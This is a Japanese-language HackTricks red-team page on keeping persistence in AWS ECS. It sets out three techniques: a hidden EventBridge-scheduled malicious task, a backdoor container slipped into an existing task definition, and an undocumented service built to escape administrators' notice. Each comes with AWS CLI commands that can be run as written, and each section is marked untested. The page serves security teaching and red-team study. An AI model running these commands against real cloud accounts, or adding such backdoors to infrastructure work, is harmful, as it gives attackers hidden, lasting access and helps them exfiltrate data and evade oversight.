AWS - ECS Persistence

htARTE (HackTricks AWS Red Team Expert)で AWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

ECS

詳細については、以下をチェックしてください:

pageAWS - ECS Enum

隠された定期的なECSタスク

TODO: テスト

攻撃者は、Amazon EventBridgeを使用して隠された定期的なECSタスクを作成し、悪意のあるタスクを定期的に実行するようにスケジュールすることができます。このタスクは、偵察、データの流出、またはAWSアカウント内の永続性の維持を行うことができます。

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'

既存のECSタスク定義にバックドアコンテナを追加

TODO: テスト

攻撃者は、正規のコンテナと並行して実行される既存のECSタスク定義に目立たないバックドアコンテナを追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用できます。

# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'

文書化されていないECSサービス

TODO: テスト

攻撃者は、悪意のあるタスクを実行する文書化されていないECSサービスを作成できます。タスクの希望数を最小限に設定し、ログ記録を無効にすることで、管理者が悪意のあるサービスに気づくのが難しくなります。

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

最終更新